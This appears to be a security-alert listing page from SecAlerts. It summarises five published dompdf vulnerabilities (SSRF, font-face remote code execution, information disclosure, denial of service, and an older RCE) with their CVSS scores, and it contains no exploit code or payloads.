Source: Ubuntu
First published (updated )
Severity
5.3
SSRF
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Server-Side Request Forgery (SSRF) in GitHub repository dompdf/dompdf prior to 2.0.0.

1 / 2
First published (updated )
Severity
9.8
Code Injection, XSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Dompdf 1.2.1 allows remote code execution via a .php file in the src:url field of an @font-face Cascading Style Sheets (CSS) statement (within an HTML input file).

1 / 3
First published (updated )
Severity
6.5
Infoleak
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Information Disclosure

1 / 8
First published (updated )
Severity
6.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Denial Of Service Vector

1 / 6
First published (updated )
Severity
8.8
Code Injection
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

DOMPDF before 0.6.2 allows remote code execution, a related issue to CVE-2014-2383.

1 / 3
Source: Ubuntu
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203